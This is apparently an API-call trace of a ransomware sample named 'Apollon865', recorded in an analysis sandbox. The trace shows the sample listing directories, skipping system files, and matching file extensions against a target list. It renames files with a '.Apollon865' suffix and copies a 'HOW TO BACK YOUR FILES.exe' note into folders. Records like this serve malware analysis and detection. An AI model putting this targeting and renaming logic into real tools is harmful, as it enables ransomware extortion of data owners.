	[0051.081] lstrcmpiW (lpString1="ico", lpString2="adn") returned 1
	[0051.081] lstrlenW (lpString="adp") returned 3
	[0051.081] lstrcmpiW (lpString1="ico", lpString2="adp") returned 1
	[0051.081] lstrlenW (lpString="alf") returned 3
	[0051.081] lstrcmpiW (lpString1="ico", lpString2="alf") returned 1
	[0051.081] lstrlenW (lpString="ask") returned 3
	[0051.081] lstrcmpiW (lpString1="ico", lpString2="ask") returned 1
	[0051.081] lstrlenW (lpString="btr") returned 3
	[0051.081] lstrcmpiW (lpString1="ico", lpString2="btr") returned 1
	[0051.081] lstrlenW (lpString="cat") returned 3
	[0051.081] lstrcmpiW (lpString1="ico", lpString2="cat") returned 1
	[0051.081] lstrlenW (lpString="cdb") returned 3
	[0051.081] lstrcmpiW (lpString1="ico", lpString2="cdb") returned 1
	[0051.081] lstrlenW (lpString="ckp") returned 3
	[0051.081] lstrcmpiW (lpString1="ico", lpString2="ckp") returned 1
	[0051.081] lstrlenW (lpString="cma") returned 3
	[0051.081] lstrcmpiW (lpString1="ico", lpString2="cma") returned 1
	[0051.081] lstrlenW (lpString="cpd") returned 3
	[0051.081] lstrcmpiW (lpString1="ico", lpString2="cpd") returned 1
	[0051.081] lstrlenW (lpString="dacpac") returned 6
	[0051.081] lstrcmpiW (lpString1="ol.ico", lpString2="dacpac") returned 1
	[0051.081] lstrlenW (lpString="dad") returned 3
	[0051.081] lstrcmpiW (lpString1="ico", lpString2="dad") returned 1
	[0051.081] lstrlenW (lpString="dadiagrams") returned 10
	[0051.081] lstrlenW (lpString="daschema") returned 8
	[0051.081] lstrcmpiW (lpString1="tfol.ico", lpString2="daschema") returned 1
	[0051.081] lstrlenW (lpString="db-journal") returned 10
	[0051.081] lstrlenW (lpString="db-shm") returned 6
	[0051.081] lstrcmpiW (lpString1="ol.ico", lpString2="db-shm") returned 1
	[0051.082] lstrlenW (lpString="db-wal") returned 6
	[0051.082] lstrcmpiW (lpString1="ol.ico", lpString2="db-wal") returned 1
	[0051.082] lstrlenW (lpString="dbc") returned 3
	[0051.082] lstrcmpiW (lpString1="ico", lpString2="dbc") returned 1
	[0051.082] lstrlenW (lpString="dbs") returned 3
	[0051.082] lstrcmpiW (lpString1="ico", lpString2="dbs") returned 1
	[0051.082] lstrlenW (lpString="dbt") returned 3
	[0051.082] lstrcmpiW (lpString1="ico", lpString2="dbt") returned 1
	[0051.082] lstrlenW (lpString="dbv") returned 3
	[0051.082] lstrcmpiW (lpString1="ico", lpString2="dbv") returned 1
	[0051.082] lstrlenW (lpString="dbx") returned 3
	[0051.082] lstrcmpiW (lpString1="ico", lpString2="dbx") returned 1
	[0051.082] lstrlenW (lpString="dcb") returned 3
	[0051.082] lstrcmpiW (lpString1="ico", lpString2="dcb") returned 1
	[0051.082] lstrcmpiW (lpString1="ico", lpString2="dct") returned 1
	[0051.082] lstrcmpiW (lpString1="ico", lpString2="dcx") returned 1
	[0051.082] lstrcmpiW (lpString1="ico", lpString2="ddl") returned 1
	[0051.082] lstrcmpiW (lpString1=".ico", lpString2="dlis") returned -1
	[0051.082] lstrcmpiW (lpString1="ico", lpString2="dp1") returned 1
	[0051.082] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="pictures.ico" | out: lpString1="pictures.ico") returned="pictures.ico"
	[0051.082] lstrlenW (lpString="pictures.ico") returned 12
	[0051.082] lstrlenW (lpString="Apollon865") returned 10
	[0051.082] lstrcmpiW (lpString1="ctures.ico", lpString2="Apollon865") returned 1
	[0051.082] lstrlenW (lpString=".dll") returned 4
	[0051.082] lstrcmpiW (lpString1="pictures.ico", lpString2=".dll") returned 1
	[0051.082] lstrlenW (lpString=".lnk") returned 4
	[0051.082] lstrcmpiW (lpString1="pictures.ico", lpString2=".lnk") returned 1
	[0051.082] lstrlenW (lpString=".ini") returned 4
	[0051.083] lstrcmpiW (lpString1="pictures.ico", lpString2=".ini") returned 1
	[0051.083] lstrlenW (lpString=".sys") returned 4
	[0051.083] lstrcmpiW (lpString1="pictures.ico", lpString2=".sys") returned 1
	[0051.083] lstrlenW (lpString="pictures.ico") returned 12
	[0051.083] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="resource.xml" | out: lpString1="resource.xml") returned="resource.xml"
	[0051.083] lstrlenW (lpString="resource.xml") returned 12
	[0051.083] lstrlenW (lpString="Apollon865") returned 10
	[0051.083] lstrcmpiW (lpString1="source.xml", lpString2="Apollon865") returned 1
	[0051.083] lstrlenW (lpString=".dll") returned 4
	[0051.083] lstrcmpiW (lpString1="resource.xml", lpString2=".dll") returned 1
	[0051.083] lstrlenW (lpString=".lnk") returned 4
	[0051.083] lstrcmpiW (lpString1="resource.xml", lpString2=".lnk") returned 1
	[0051.083] lstrlenW (lpString=".ini") returned 4
	[0051.083] lstrcmpiW (lpString1="resource.xml", lpString2=".ini") returned 1
	[0051.083] lstrlenW (lpString=".sys") returned 4
	[0051.083] lstrcmpiW (lpString1="resource.xml", lpString2=".sys") returned 1
	[0051.083] lstrlenW (lpString="resource.xml") returned 12
	[0051.083] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml.Apollon865") returned 105
	[0051.083] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml.Apollon865" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml.apollon865"), dwFlags=0x1) returned 0
	[0051.083] GetLastError () returned 0x5
	[0051.083] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml MoveFileEx error 5\r\n") returned 123
	[0051.083] lstrlenA (lpString="[ERROR] C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml MoveFileEx error 5\r\n") returned 123
	[0051.083] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0051.084] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x182d
	[0051.084] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x7b, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x7b, lpOverlapped=0x0) returned 1
	[0051.084] CloseHandle (hObject=0x14c) returned 1
	[0051.084] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0051.084] CloseHandle (hObject=0x0) returned 0
	[0051.084] CloseHandle (hObject=0x0) returned 0
	[0051.084] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2cf1dfd, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2cf1dfd, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1f3d69, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcaa9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ringtones.ico", cAlternateFileName="")) returned 1
	[0051.084] lstrcmpiW (lpString1="ringtones.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.084] lstrcmpiW (lpString1="ringtones.ico", lpString2="Apollon865.txt.exe") returned 1
	[0051.084] lstrcmpiW (lpString1="ringtones.ico", lpString2=".") returned 1
	[0051.084] lstrcmpiW (lpString1="ringtones.ico", lpString2="..") returned 1
	[0051.084] lstrcmpiW (lpString1="ringtones.ico", lpString2="windows") returned -1
	[0051.084] lstrcmpiW (lpString1="ringtones.ico", lpString2="bootmgr") returned 1
	[0051.084] lstrcmpiW (lpString1="ringtones.ico", lpString2="temp") returned -1
	[0051.084] lstrcmpiW (lpString1="ringtones.ico", lpString2="pagefile.sys") returned 1
	[0051.084] lstrcmpiW (lpString1="ringtones.ico", lpString2="boot") returned 1
	[0051.084] lstrcmpiW (lpString1="ringtones.ico", lpString2="ids.txt") returned 1
	[0051.084] lstrcmpiW (lpString1="ringtones.ico", lpString2="ntuser.dat") returned 1
	[0051.084] lstrcmpiW (lpString1="ringtones.ico", lpString2="perflogs") returned 1
	[0051.084] lstrcmpiW (lpString1="ringtones.ico", lpString2="MSBuild") returned 1
	[0051.084] lstrlenW (lpString="ringtones.ico") returned 13
	[0051.084] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml") returned 94
	[0051.084] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="ringtones.ico" | out: lpString1="ringtones.ico") returned="ringtones.ico"
	[0051.084] lstrlenW (lpString="ringtones.ico") returned 13
	[0051.085] lstrlenW (lpString="Apollon865") returned 10
	[0051.085] lstrcmpiW (lpString1="gtones.ico", lpString2="Apollon865") returned 1
	[0051.085] lstrlenW (lpString=".dll") returned 4
	[0051.085] lstrcmpiW (lpString1="ringtones.ico", lpString2=".dll") returned 1
	[0051.085] lstrlenW (lpString=".lnk") returned 4
	[0051.085] lstrcmpiW (lpString1="ringtones.ico", lpString2=".lnk") returned 1
	[0051.085] lstrlenW (lpString=".ini") returned 4
	[0051.085] lstrcmpiW (lpString1="ringtones.ico", lpString2=".ini") returned 1
	[0051.085] lstrlenW (lpString=".sys") returned 4
	[0051.085] lstrcmpiW (lpString1="ringtones.ico", lpString2=".sys") returned 1
	[0051.085] lstrlenW (lpString="ringtones.ico") returned 13
	[0051.085] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="settings.ico" | out: lpString1="settings.ico") returned="settings.ico"
	[0051.085] lstrlenW (lpString="settings.ico") returned 12
	[0051.085] lstrlenW (lpString="Apollon865") returned 10
	[0051.085] lstrcmpiW (lpString1="ttings.ico", lpString2="Apollon865") returned 1
	[0051.085] lstrlenW (lpString=".dll") returned 4
	[0051.085] lstrcmpiW (lpString1="settings.ico", lpString2=".dll") returned 1
	[0051.085] lstrlenW (lpString=".lnk") returned 4
	[0051.085] lstrcmpiW (lpString1="settings.ico", lpString2=".lnk") returned 1
	[0051.085] lstrlenW (lpString=".ini") returned 4
	[0051.085] lstrcmpiW (lpString1="settings.ico", lpString2=".ini") returned 1
	[0051.085] lstrlenW (lpString=".sys") returned 4
	[0051.085] lstrcmpiW (lpString1="settings.ico", lpString2=".sys") returned 1
	[0051.085] lstrlenW (lpString="settings.ico") returned 12
	[0051.085] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="sync.ico" | out: lpString1="sync.ico") returned="sync.ico"
	[0051.085] lstrlenW (lpString="sync.ico") returned 8
	[0051.085] lstrlenW (lpString="Apollon865") returned 10
	[0051.085] lstrlenW (lpString=".dll") returned 4
	[0051.085] lstrcmpiW (lpString1="sync.ico", lpString2=".dll") returned 1
	[0051.085] lstrlenW (lpString=".lnk") returned 4
	[0051.086] lstrcmpiW (lpString1="sync.ico", lpString2=".lnk") returned 1
	[0051.086] lstrlenW (lpString=".ini") returned 4
	[0051.086] lstrcmpiW (lpString1="sync.ico", lpString2=".ini") returned 1
	[0051.086] lstrlenW (lpString=".sys") returned 4
	[0051.086] lstrcmpiW (lpString1="sync.ico", lpString2=".sys") returned 1
	[0051.086] lstrlenW (lpString="sync.ico") returned 8
	[0051.086] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="tasks.xml" | out: lpString1="tasks.xml") returned="tasks.xml"
	[0051.086] lstrlenW (lpString="tasks.xml") returned 9
	[0051.086] lstrlenW (lpString="Apollon865") returned 10
	[0051.086] lstrlenW (lpString=".dll") returned 4
	[0051.086] lstrcmpiW (lpString1="tasks.xml", lpString2=".dll") returned 1
	[0051.086] lstrlenW (lpString=".lnk") returned 4
	[0051.086] lstrcmpiW (lpString1="tasks.xml", lpString2=".lnk") returned 1
	[0051.086] lstrlenW (lpString=".ini") returned 4
	[0051.086] lstrcmpiW (lpString1="tasks.xml", lpString2=".ini") returned 1
	[0051.086] lstrlenW (lpString=".sys") returned 4
	[0051.086] lstrcmpiW (lpString1="tasks.xml", lpString2=".sys") returned 1
	[0051.086] lstrlenW (lpString="tasks.xml") returned 9
	[0051.086] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml.Apollon865") returned 102
	[0051.086] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml.Apollon865" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml.apollon865"), dwFlags=0x1) returned 0
	[0051.086] GetLastError () returned 0x5
	[0051.086] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml MoveFileEx error 5\r\n") returned 120
	[0051.086] lstrlenA (lpString="[ERROR] C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml MoveFileEx error 5\r\n") returned 120
	[0051.086] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0051.087] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x18a8
	[0051.087] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x78, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x78, lpOverlapped=0x0) returned 1
	[0051.087] CloseHandle (hObject=0x14c) returned 1
	[0051.087] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0051.087] CloseHandle (hObject=0x0) returned 0
	[0051.087] CloseHandle (hObject=0x0) returned 0
	[0051.087] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d64214, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d64214, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 1
	[0051.087] lstrcmpiW (lpString1="wmp.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.087] lstrcmpiW (lpString1="wmp.ico", lpString2="Apollon865.txt.exe") returned 1
	[0051.087] lstrcmpiW (lpString1="wmp.ico", lpString2=".") returned 1
	[0051.087] lstrcmpiW (lpString1="wmp.ico", lpString2="..") returned 1
	[0051.087] lstrcmpiW (lpString1="wmp.ico", lpString2="windows") returned 1
	[0051.087] lstrcmpiW (lpString1="wmp.ico", lpString2="bootmgr") returned 1
	[0051.087] lstrcmpiW (lpString1="wmp.ico", lpString2="temp") returned 1
	[0051.087] lstrcmpiW (lpString1="wmp.ico", lpString2="pagefile.sys") returned 1
	[0051.087] lstrcmpiW (lpString1="wmp.ico", lpString2="boot") returned 1
	[0051.087] lstrcmpiW (lpString1="wmp.ico", lpString2="ids.txt") returned 1
	[0051.087] lstrcmpiW (lpString1="wmp.ico", lpString2="ntuser.dat") returned 1
	[0051.087] lstrcmpiW (lpString1="wmp.ico", lpString2="perflogs") returned 1
	[0051.087] lstrcmpiW (lpString1="wmp.ico", lpString2="MSBuild") returned 1
	[0051.087] lstrlenW (lpString="wmp.ico") returned 7
	[0051.087] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml") returned 91
	[0051.088] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="wmp.ico" | out: lpString1="wmp.ico") returned="wmp.ico"
	[0051.088] lstrlenW (lpString="wmp.ico") returned 7
	[0051.088] lstrlenW (lpString="Apollon865") returned 10
	[0051.088] lstrlenW (lpString=".dll") returned 4
	[0051.088] lstrcmpiW (lpString1="wmp.ico", lpString2=".dll") returned 1
	[0051.088] lstrlenW (lpString=".lnk") returned 4
	[0051.088] lstrcmpiW (lpString1="wmp.ico", lpString2=".lnk") returned 1
	[0051.088] lstrlenW (lpString=".ini") returned 4
	[0051.088] lstrcmpiW (lpString1="wmp.ico", lpString2=".ini") returned 1
	[0051.088] lstrlenW (lpString=".sys") returned 4
	[0051.088] lstrcmpiW (lpString1="wmp.ico", lpString2=".sys") returned 1
	[0051.088] lstrlenW (lpString="wmp.ico") returned 7
	[0051.088] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US"
	[0051.088] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0051.088] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0051.088] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned 87
	[0051.088] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US"
	[0051.088] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.088] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.089] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.089] GetLastError () returned 0x0
	[0051.089] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.089] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.089] CloseHandle (hObject=0x15c) returned 1
	[0051.089] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.089] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.089] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2fe1b3f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fe1b3f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.089] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.089] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.089] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.089] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2fe1b3f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fe1b3f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.089] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.089] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.089] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.089] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.089] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fe1b3f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fe1b3f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.089] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.089] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932b6af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x932b6af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1
	[0051.089] lstrcmpiW (lpString1="resource.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.089] lstrcmpiW (lpString1="resource.xml", lpString2="Apollon865.txt.exe") returned 1
	[0051.090] lstrcmpiW (lpString1="resource.xml", lpString2=".") returned 1
	[0051.090] lstrcmpiW (lpString1="resource.xml", lpString2="..") returned 1
	[0051.090] lstrcmpiW (lpString1="resource.xml", lpString2="windows") returned -1
	[0051.090] lstrcmpiW (lpString1="resource.xml", lpString2="bootmgr") returned 1
	[0051.090] lstrcmpiW (lpString1="resource.xml", lpString2="temp") returned -1
	[0051.090] lstrcmpiW (lpString1="resource.xml", lpString2="pagefile.sys") returned 1
	[0051.090] lstrcmpiW (lpString1="resource.xml", lpString2="boot") returned 1
	[0051.090] lstrcmpiW (lpString1="resource.xml", lpString2="ids.txt") returned 1
	[0051.090] lstrcmpiW (lpString1="resource.xml", lpString2="ntuser.dat") returned 1
	[0051.090] lstrcmpiW (lpString1="resource.xml", lpString2="perflogs") returned 1
	[0051.090] lstrcmpiW (lpString1="resource.xml", lpString2="MSBuild") returned 1
	[0051.090] lstrlenW (lpString="resource.xml") returned 12
	[0051.090] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*") returned 89
	[0051.090] lstrcpyW (in: lpString1=0x2d3e600, lpString2="resource.xml" | out: lpString1="resource.xml") returned="resource.xml"
	[0051.090] lstrlenW (lpString="resource.xml") returned 12
	[0051.090] lstrlenW (lpString="Apollon865") returned 10
	[0051.090] lstrcmpiW (lpString1="source.xml", lpString2="Apollon865") returned 1
	[0051.090] lstrlenW (lpString=".dll") returned 4
	[0051.090] lstrcmpiW (lpString1="resource.xml", lpString2=".dll") returned 1
	[0051.090] lstrlenW (lpString=".lnk") returned 4
	[0051.090] lstrcmpiW (lpString1="resource.xml", lpString2=".lnk") returned 1
	[0051.090] lstrlenW (lpString=".ini") returned 4
	[0051.090] lstrcmpiW (lpString1="resource.xml", lpString2=".ini") returned 1
	[0051.090] lstrlenW (lpString=".sys") returned 4
	[0051.090] lstrcmpiW (lpString1="resource.xml", lpString2=".sys") returned 1
	[0051.090] lstrlenW (lpString="resource.xml") returned 12
	[0051.090] lstrlenW (lpString="bak") returned 3
	[0051.090] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0051.090] lstrlenW (lpString="ba_") returned 3
	[0051.090] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0051.090] lstrlenW (lpString="dbb") returned 3
	[0051.090] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0051.103] lstrlenW (lpString="vmdk") returned 4
	[0051.108] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0051.108] lstrlenW (lpString="rar") returned 3
	[0051.108] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0051.108] lstrlenW (lpString="zip") returned 3
	[0051.108] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0051.108] lstrlenW (lpString="tgz") returned 3
	[0051.108] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0051.108] lstrlenW (lpString="vbox") returned 4
	[0051.108] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0051.108] lstrlenW (lpString="vdi") returned 3
	[0051.108] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0051.108] lstrlenW (lpString="vhd") returned 3
	[0051.108] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0051.108] lstrlenW (lpString="vhdx") returned 4
	[0051.108] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0051.108] lstrlenW (lpString="avhd") returned 4
	[0051.108] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0051.108] lstrlenW (lpString="db") returned 2
	[0051.108] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0051.108] lstrlenW (lpString="db2") returned 3
	[0051.108] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0051.108] lstrlenW (lpString="db3") returned 3
	[0051.108] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
